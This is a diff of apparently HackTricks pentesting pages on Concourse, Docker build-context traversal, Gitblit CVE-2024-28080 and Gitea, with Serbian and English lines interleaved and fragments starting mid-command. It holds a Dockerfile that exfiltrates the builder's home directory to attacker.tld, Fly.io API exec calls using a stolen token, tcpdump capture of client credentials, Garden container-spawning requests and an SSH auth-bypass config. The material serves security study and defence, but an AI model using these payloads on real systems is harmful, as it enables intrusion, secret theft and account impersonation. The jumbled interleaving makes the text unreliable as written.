-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
Međutim, veb server proverava svake nekoliko sekundi kontejnere koji se izvršavaju, i ako se otkrije neočekivani, biće obrisan. Kako se komunikacija odvija u HTTP-u, mogli biste da manipulišete komunikacijom kako biste izbegli brisanje neočekivanih kontejnera:
However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
@@ -411,8 +436,11 @@ Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
```
## Reference
## References
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -8,16 +8,19 @@
#### With Docker-Compose
Ova docker-compose datoteka pojednostavljuje instalaciju za izvođenje nekih testova sa concourse:
This docker-compose file simplifies the installation to do some tests with concourse:
```bash
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
docker-compose up -d
```
Možete preuzeti komandnu liniju `fly` za vaš operativni sistem sa veba na `127.0.0.1:8080`
#### Sa Kubernetes-om (Preporučeno)
You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
#### With Kubernetes (Recommended)
You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
Možete lako implementirati concourse u **Kubernetes** (na **minikube** na primer) koristeći helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
```bash
brew install helm
helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -28,90 +31,94 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
Nakon generisanja concourse okruženja, možete generisati tajnu i dati pristup SA koji radi u concourse web-u da pristupi K8s tajnama:
After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: read-secrets
name: read-secrets
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get"]
resources: ["secrets"]
verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-secrets-concourse
name: read-secrets-concourse
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: read-secrets
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: read-secrets
subjects:
- kind: ServiceAccount
name: concourse-release-web
namespace: default
name: concourse-release-web
namespace: default
---
apiVersion: v1
kind: Secret
metadata:
name: super
namespace: concourse-release-main
name: super
namespace: concourse-release-main
type: Opaque
data:
secret: MWYyZDFlMmU2N2Rm
secret: MWYyZDFlMmU2N2Rm
' | kubectl apply -f -
```
### Kreirajte Pipeline
Pipeline se sastoji od liste [Jobs](https://concourse-ci.org/jobs.html) koja sadrži uređenu listu [Steps](https://concourse-ci.org/steps.html).
### Create Pipeline
### Koraci
A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
Mogu se koristiti različite vrste koraka:
### Steps
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **pokreće** [**task**](https://concourse-ci.org/tasks.html)
- [`get` step](https://concourse-ci.org/get-step.html) preuzima [resource](https://concourse-ci.org/resources.html)
- [`put` step](https://concourse-ci.org/put-step.html) ažurira [resource](https://concourse-ci.org/resources.html)
- [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) konfiguriše [pipeline](https://concourse-ci.org/pipelines.html)
- [`load_var` step](https://concourse-ci.org/load-var-step.html) učitava vrednost u [local var](https://concourse-ci.org/vars.html#local-vars)
- [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) pokreće korake paralelno
- [`do` step](https://concourse-ci.org/do-step.html) pokreće korake sekvencijalno
- [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) pokreće korak više puta; jednom za svaku kombinaciju vrednosti varijabli
- [`try` step](https://concourse-ci.org/try-step.html) pokušava da pokrene korak i uspeva čak i ako korak ne uspe
Several different type of steps can be used:
Svaki [step](https://concourse-ci.org/steps.html) u [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) se izvršava u **svojoj kontejneru**. Možete pokrenuti bilo šta što želite unutar kontejnera _(tj. pokrenuti moje testove, pokrenuti ovaj bash skript, izgraditi ovu sliku, itd.)_. Dakle, ako imate posao sa pet koraka, Concourse će kreirati pet kontejnera, jedan za svaki korak.
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
Stoga, moguće je naznačiti tip kontejnera u kojem svaki korak treba da se izvrši.
Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
Therefore, it's possible to indicate the type of container each step needs to be run in.
### Simple Pipeline Example
### Jednostavan Primer Pipeline-a
```yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
sleep 1000
echo "$SUPER_SECRET"
params:
SUPER_SECRET: ((super.secret))
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
sleep 1000
echo "$SUPER_SECRET"
params:
SUPER_SECRET: ((super.secret))
```
```bash
@@ -123,21 +130,25 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
# From another console
fly -t tutorial intercept --job pipe-name/simple
```
Proverite **127.0.0.1:8080** da vidite tok pipeline-a.
### Bash skripta sa izlazom/ulazom pipeline-a
Check **127.0.0.1:8080** to see the pipeline flow.
Moguće je **sačuvati rezultate jednog zadatka u datoteku** i označiti da je to izlaz, a zatim označiti ulaz sledećeg zadatka kao izlaz prethodnog zadatka. Ono što concourse radi je da **montira direktorijum prethodnog zadatka u novom zadatku gde možete pristupiti datotekama koje je kreirao prethodni zadatak**.
### Bash script with output/input pipeline
### Okidači
It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
Ne morate ručno pokretati poslove svaki put kada ih trebate izvršiti, takođe ih možete programirati da se pokreću svaki put:
### Triggers
- Prođe malo vremena: [Time resource](https://github.com/concourse/time-resource/)
- Na nove commit-e na glavnoj grani: [Git resource](https://github.com/concourse/git-resource)
- Novi PR-ovi: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
- Preuzmite ili pošaljite najnoviju sliku vaše aplikacije: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
Pogledajte primer YAML pipeline-a koji se pokreće na nove commit-e na masteru u [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,101 +0,0 @@
# Zloupotreba Docker Build Context u Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
## Ukratko
Ako CI/CD platforma ili hosted builder dozvoljavaju contributorima da odrede Docker build context path i Dockerfile path, često možete postaviti context na parent directory (npr. "..") i učiniti fajlove sa hosta delom build context-a. Zatim attacker-controlled Dockerfile može da COPY i eksfiltrira tajne pronađene u home direktorijumu buildera (na primer, ~/.docker/config.json). Ukradeni registry tokens takođe mogu raditi protiv provider-ovih control-plane APIs, omogućavajući org-wide RCE.
## Površina napada
Mnoge hosted builder/registry usluge rade otprilike sledeće prilikom buildovanja image-a poslatih od strane korisnika:
- Pročitaju repo-nivo konfiguraciju koja uključuje:
- build context path (poslat Docker daemonu)
- Dockerfile path relativno u odnosu na taj context
- Kopiraju navedeni build context direktorijum i Dockerfile na Docker daemon
- Builduju image i pokreću ga kao hosted service
Ako platforma ne kanonizuje i ne ograničava build context, korisnik može da ga postavi na lokaciju izvan repozitorijuma (path traversal), što dovodi do toga da proizvoljni fajlovi sa hosta, koji su čitljivi build user-u, postanu deo build context-a i dostupni za COPY u Dockerfile-u.
Praktična ograničenja koja se često primećuju:
- Dockerfile mora biti unutar odabranog context path-a i njegova putanja mora biti poznata unapred.
- Build user mora imati read pristup fajlovima uključenim u context; specijalne device datoteke mogu pokvariti kopiranje.
## PoC: Path traversal via Docker build context
Primer zlonamernog server config-a koji deklariše Dockerfile unutar context-a roditeljskog direktorijuma:
```yaml
runtime: "container"
build:
dockerfile: "test/Dockerfile" # Must reside inside the final context
dockerBuildPath: ".." # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
```
Napomene:
- Korišćenje ".." često se preslikava na home direktorijum korisnika 'builder' (npr. /home/builder), koji obično sadrži osetljive fajlove.
- Postavite vaš Dockerfile pod imenom direktorijuma repoa (npr. repo "test" → test/Dockerfile) tako da ostane unutar proširenog roditeljskog konteksta.
## PoC: Dockerfile za unošenje i eksfiltraciju host konteksta
```dockerfile
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data # Copies entire build context (now builders $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
```
Ciljevi koji se često pronalaze u $HOME:
- ~/.docker/config.json (registry auths/tokens)
- Ostali cloud/CLI keševi i konfiguracije (npr., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
Savet: Čak i ako postoji .dockerignore u repozitorijumu, selekcija konteksta na strani platforme i dalje određuje šta se šalje ka daemonu. Ako platforma kopira izabrani put ka daemonu pre nego što proceni vaš repozitorijums .dockerignore, fajlovi sa hosta i dalje mogu biti izloženi.
## Pivot u oblaku sa overprivileged tokens (primer: Fly.io Machines API)
Neke platforme izdaju jedan bearer token koji se može koristiti i za container registry i za control-plane API. Ako eksfiltrujete registry token, probajte ga protiv provider API-ja.
Primer API poziva protiv Fly.io Machines API koristeći ukradeni token iz ~/.docker/config.json:
Nabroj aplikacije u organizaciji:
```bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
```
Pokrenite komandu kao root unutar bilo koje mašine aplikacije:
```bash
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
```
Ishod: remote code execution širom organizacije na svim hostovanim aplikacijama gde token ima dovoljne privilegije.
## Krađa tajni iz kompromitovanih hostovanih servisa
Sa exec/RCE na hostovanim serverima, možete prikupiti tajne koje su dostavili klijenti (API keys, tokens) ili izvesti prompt-injection napade. Primer: instalirajte tcpdump i snimite HTTP saobraćaj na portu 8080 kako biste izvukli dolazne kredencijale.
```bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
```
Snimljeni zahtevi često sadrže client credentials u headers, bodies, ili query params.
## References
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,12 +1,12 @@
# Sigurnost Gitblit-a
# Gitblit Security
{{#include ../../banners/hacktricks-training.md}}
## Šta je Gitblit
## What is Gitblit
Gitblit je samohostovan Git server napisan u Javi. Može da radi kao standalone JAR ili u servlet kontejnerima i uključuje ugrađenu SSH uslugu (Apache MINA SSHD) za Git over SSH.
Gitblit is a selfhosted Git server written in Java. It can run as a standalone JAR or in servlet containers and ships an embedded SSH service (Apache MINA SSHD) for Git over SSH.
## Teme
## Topics
- Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
@@ -14,8 +14,8 @@ Gitblit je samohostovan Git server napisan u Javi. Može da radi kao standalone
gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
{{#endref}}
## Reference
## References
- [Gitblit project](https://gitblit.com/)
{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,22 +2,22 @@
{{#include ../../banners/hacktricks-training.md}}
## Sažetak
## Summary
CVE-2024-28080 je authentication bypass u Gitblitovom embedded SSH servisu zbog incorrect session state handling pri integraciji sa Apache MINA SSHD. Ako korisnički nalog ima bar jedan SSH public key registrovan, napadač koji zna username i neki od public keys tog korisnika može se autentifikovati bez private key i bez passworda.
CVE-2024-28080 is an authentication bypass in Gitblits embedded SSH service due to incorrect session state handling when integrating with Apache MINA SSHD. If a user account has at least one SSH public key registered, an attacker who knows the username and any of that users public keys can authenticate without the private key and without the password.
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
- Fixed: 1.10.0
- Requirements to exploit:
- Git over SSH enabled on the instance
- Victim account has at least one SSH public key registered in Gitblit
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
- Git over SSH enabled on the instance
- Victim account has at least one SSH public key registered in Gitblit
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
## Glavni uzrok (state leaks between SSH methods)
## Root cause (state leaks between SSH methods)
U RFC 4252, publickey authentication ide u dve faze: server prvo proverava da li je prosleđeni public key acceptable za dati username, i tek nakon challenge/response sa signature autentifikuje korisnika. U MINA SSHD, PublickeyAuthenticator se poziva dva puta: prilikom key acceptance (još bez signature) i kasnije nakon što klijent vrati signature.
In RFC 4252, publickey authentication proceeds in two phases: the server first checks whether a provided public key is acceptable for a username, and only after a challenge/response with a signature does it authenticate the user. In MINA SSHD, the PublickeyAuthenticator is invoked twice: on key acceptance (no signature yet) and later after the client returns a signature.
Gitblitov PublickeyAuthenticator je izmenio session context pri prvom, presignature pozivu tako što je vezao autentifikovani UserModel za session i vratio true ("key acceptable"). Kada se kasnije autentikacija vratila na password, PasswordAuthenticator je verovao toj izmenjenoj session state i shortcircuited, vraćajući true bez validacije passworda. Kao rezultat, bilo koji password (uključujući prazan) je bio prihvaćen nakon prethodne publickey "acceptance" za istog korisnika.
Gitblits PublickeyAuthenticator mutated the session context on the first, presignature call by binding the authenticated UserModel to the session and returning true ("key acceptable"). When authentication later fell back to password, the PasswordAuthenticator trusted that mutated session state and shortcircuited, returning true without validating the password. As a result, any password (including empty) was accepted after a prior publickey "acceptance" for the same user.
Highlevel flawed flow:
@@ -26,70 +26,74 @@ Highlevel flawed flow:
3) Client cannot sign (no private key), so auth falls back to password
4) Password auth sees a user already present in session and unconditionally returns success
## Eksploatacija korak po korak
## Stepbystep exploitation
- Prikupite username žrtve i jedan od njihovih public keys:
- GitHub exposes public keys at https://github.com/<username>.keys
- Public servers often expose authorized_keys
- Konfigurišite OpenSSH da predstavi samo public half tako da generisanje signature ne uspe, prisiljavajući fallback na password dok se i dalje pokreće publickey acceptance path na serveru.
- Collect a victims username and one of their public keys:
- GitHub exposes public keys at https://github.com/<username>.keys
- Public servers often expose authorized_keys
- Configure OpenSSH to present only the public half so signature generation fails, forcing a fallback to password while still triggering the publickey acceptance path on the server.
Example SSH client config (no private key available):
```sshconfig
# ~/.ssh/config
Host gitblit-target
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
```
Povežite se i pritisnite Enter pri upitu za lozinku (ili unesite bilo koji niz):
Connect and press Enter at the password prompt (or type any string):
```bash
ssh gitblit-target
# or Git over SSH
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
```
Autentifikacija uspeva zato što je ranija publickey faza izmenila sesiju u autentifikovanog korisnika, a password auth pogrešno veruje tom stanju.
Napomena: Ako je ControlMaster multiplexing omogućen u vašem SSH configu, naredne Git komande mogu ponovo koristiti autentifikovanu konekciju, čime se povećava impact.
Authentication succeeds because the earlier publickey phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
## Impact
- Potpuna impersonacija bilo kog Gitblit korisnika sa najmanje jednim registrovanim SSH public key
- Read/write pristup repozitorijumima u skladu sa permisijama žrtve (source exfiltration, unauthorized pushes, supplychain risks)
- Potencijalni administrativni uticaj ako se cilja admin korisnik
- Čisti network exploit; nije potreban brute force ili private key
- Full impersonation of any Gitblit user with at least one registered SSH public key
- Read/write access to repositories per victims permissions (source exfiltration, unauthorized pushes, supplychain risks)
- Potential administrative impact if targeting an admin user
- Pure network exploit; no brute force or private key required
## Detection ideas
- Pregledajte SSH logove za sekvence u kojima pokušaj publickey bude praćen uspešnom password authentication sa praznim ili vrlo kratkim password-om
- Potražite tokove: publickey metoda koja nudi nepodržani/neslagajući key material, nakon čega sledi trenutni password success za isti username
- Review SSH logs for sequences where a publickey attempt is followed by a successful password authentication with an empty or very short password
- Look for flows: publickey method offering unsupported/mismatched key material followed by immediate password success for the same username
## Mitigations
- Ažurirajte Gitblit na v1.10.0+
- Dok se ne ažurira:
- Onemogućite Git over SSH na Gitblit, ili
- Ograničite network pristup SSH servisu, i
- Pratite sumnjive obrasce opisane gore
- Promenite kredencijale pogođenih korisnika ako se sumnja na kompromitovanje
- Upgrade to Gitblit v1.10.0+
- Until upgraded:
- Disable Git over SSH on Gitblit, or
- Restrict network access to the SSH service, and
- Monitor for suspicious patterns described above
- Rotate affected user credentials if compromise is suspected
## General: abusing SSH auth method stateleakage (MINA/OpenSSHbased services)
Pattern: Ako publickey authenticator servera mutira user/session state tokom presignature "key acceptable" faze, i drugi authenticators (npr. password) veruju tom stanju, možete zaobići autentifikaciju tako što ćete:
Pattern: If a servers publickey authenticator mutates user/session state during the presignature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by:
- Predstaviti legitimni public key za ciljног korisnika (bez private key)
- Prinuditi klijenta da ne uspe u signing-u tako da server pređe na password
- Uneti bilo koji password dok password authenticator shortcircuits na leaked state
- Presenting a legitimate public key for the target user (no private key)
- Forcing the client to fail signing so the server falls back to password
- Supplying any password while the password authenticator shortcircuits on leaked state
Praktični saveti:
Practical tips:
- Public key harvesting at scale: povucite public keys sa uobičajenih izvora kao što su https://github.com/<username>.keys, organizacione direktorijume, team pages, leaked authorized_keys
- Forcing signature failure (clientside): postavite IdentityFile na samo .pub, set IdentitiesOnly yes, zadržite PreferredAuthentications da uključuje publickey pa password
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
- Forcing signature failure (clientside): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
- MINA SSHD integration pitfalls:
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the postsignature verification path confirms the signature
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the postsignature verification path confirms the signature
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
Related protocol/design notes and literature:
- SSH userauth protocol: RFC 4252 (publickey method is a twostage process)

View File

@@ -2,129 +2,140 @@
{{#include ../../banners/hacktricks-training.md}}
## Šta je Gitea
## What is Gitea
**Gitea** je **rešenje za hostovanje koda koje se lako upravlja i koje se samostalno hostuje**, napisano u Go.
**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
![](<../../images/image (160).png>)
### Osnovne informacije
### Basic Information
{{#ref}}
basic-gitea-information.md
{{#endref}}
## Laboratorija
## Lab
To run a Gitea instance locally you can just run a docker container:
Da biste pokrenuli Gitea instancu lokalno, možete jednostavno pokrenuti docker kontejner:
```bash
docker run -p 3000:3000 gitea/gitea
```
Povežite se na port 3000 da biste pristupili veb stranici.
Takođe možete da ga pokrenete sa kubernetes:
Connect to port 3000 to access the web page.
You could also run it with kubernetes:
```
helm repo add gitea-charts https://dl.gitea.io/charts/
helm install gitea gitea-charts/gitea
```
## Neautentifikovana Enumeracija
- Javni repozitorijumi: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
- Registrovani korisnici: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- Registrovane organizacije: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
## Unauthenticated Enumeration
Imajte na umu da **podrazumevano Gitea omogućava novim korisnicima da se registruju**. Ovo neće pružiti posebno zanimljiv pristup novim korisnicima u odnosu na druge organizacije/korisnike repozitorijuma, ali **prijavljeni korisnik** može biti u mogućnosti da **vidi više repozitorijuma ili organizacija**.
- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
## Interna Eksploatacija
Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
Za ovaj scenario pretpostavićemo da ste dobili neki pristup github nalogu.
## Internal Exploitation
### Sa Korisničkim Akreditivima/Web Kolačićem
For this scenario we are going to suppose that you have obtained some access to a github account.
Ako već imate akreditive za korisnika unutar organizacije (ili ste ukrali kolačić sesije) možete **samo da se prijavite** i proverite koje **dozvole imate** nad kojim **repozitorijumima,** u **kojim timovima** se nalazite, **lista drugih korisnika**, i **kako su repozitorijumi zaštićeni.**
### With User Credentials/Web Cookie
Imajte na umu da se **2FA može koristiti** tako da ćete moći da pristupite ovim informacijama samo ako takođe možete **proći tu proveru**.
If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
> [!NOTE]
> Imajte na umu da ako **uspete da ukradete `i_like_gitea` kolačić** (trenutno konfigurisan sa SameSite: Lax) možete **potpuno imitirati korisnika** bez potrebe za akreditivima ili 2FA.
> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
### Sa Korisničkim SSH Ključem
### With User SSH Key
Gitea omogućava **korisnicima** da postave **SSH ključeve** koji će se koristiti kao **metoda autentifikacije za implementaciju koda** u njihovo ime (2FA se ne primenjuje).
Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
Sa ovim ključem možete izvršiti **promene u repozitorijumima gde korisnik ima neka prava**, međutim ne možete ga koristiti za pristup gitea API-ju da enumerišete okruženje. Međutim, možete **enumerisati lokalne postavke** da dobijete informacije o repozitorijumima i korisniku kojem imate pristup:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
Ako je korisnik konfigurisao svoje korisničko ime kao svoje gitea korisničko ime, možete pristupiti **javnim ključevima koje je postavio** na svom nalogu na _https://github.com/\<gitea_username>.keys_, možete proveriti ovo da potvrdite da li se privatni ključ koji ste pronašli može koristiti.
**SSH ključevi** se takođe mogu postaviti u repozitorijume kao **deploy ključeve**. Svako ko ima pristup ovom ključu moći će da **pokrene projekte iz repozitorijuma**. Obično na serveru sa različitim deploy ključevima lokalna datoteka **`~/.ssh/config`** će vam dati informacije o tome kojem ključu pripada.
If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea_username>.keys_, you could check this to confirm the private key you found can be used.
#### GPG Ključevi
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
Kao što je objašnjeno [**ovde**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md), ponekad je potrebno potpisati commit-e ili biste mogli biti otkriveni.
#### GPG Keys
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
Check locally if the current user has any key with:
Proverite lokalno da li trenutni korisnik ima neki ključ sa:
```shell
gpg --list-secret-keys --keyid-format=long
```
### Sa korisničkim tokenom
Za uvod o [**korisničkim tokenima proverite osnovne informacije**](basic-gitea-information.md#personal-access-tokens).
### With User Token
Korisnički token se može koristiti **umesto lozinke** za **autentifikaciju** protiv Gitea servera [**putem API-ja**](https://try.gitea.io/api/swagger#/). Imaće **potpun pristup** korisniku.
For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
### Sa Oauth aplikacijom
A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
Za uvod o [**Gitea Oauth aplikacijama proverite osnovne informacije**](./#with-oauth-application).
### With Oauth Application
Napadač može kreirati **malicious Oauth aplikaciju** da bi pristupio privilegovanim podacima/akcijama korisnika koji ih verovatno prihvataju kao deo phishing kampanje.
For an introduction about [**Gitea Oauth Applications check the basic information**](#with-oauth-application).
Kao što je objašnjeno u osnovnim informacijama, aplikacija će imati **potpun pristup korisničkom nalogu**.
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
### Zaobilaženje zaštite grane
As explained in the basic information, the application will have **full access over the user account**.
Na Github-u imamo **github akcije** koje po defaultu dobijaju **token sa pristupom za pisanje** na repozitorijum koji se može koristiti za **zaobilaženje zaštita grane**. U ovom slučaju to **ne postoji**, tako da su zaobilaženja ograničenija. Ali hajde da pogledamo šta može da se uradi:
### Branch Protection Bypass
- **Omogući Push**: Ako bilo ko sa pristupom za pisanje može da pošalje na granu, samo pošaljite na nju.
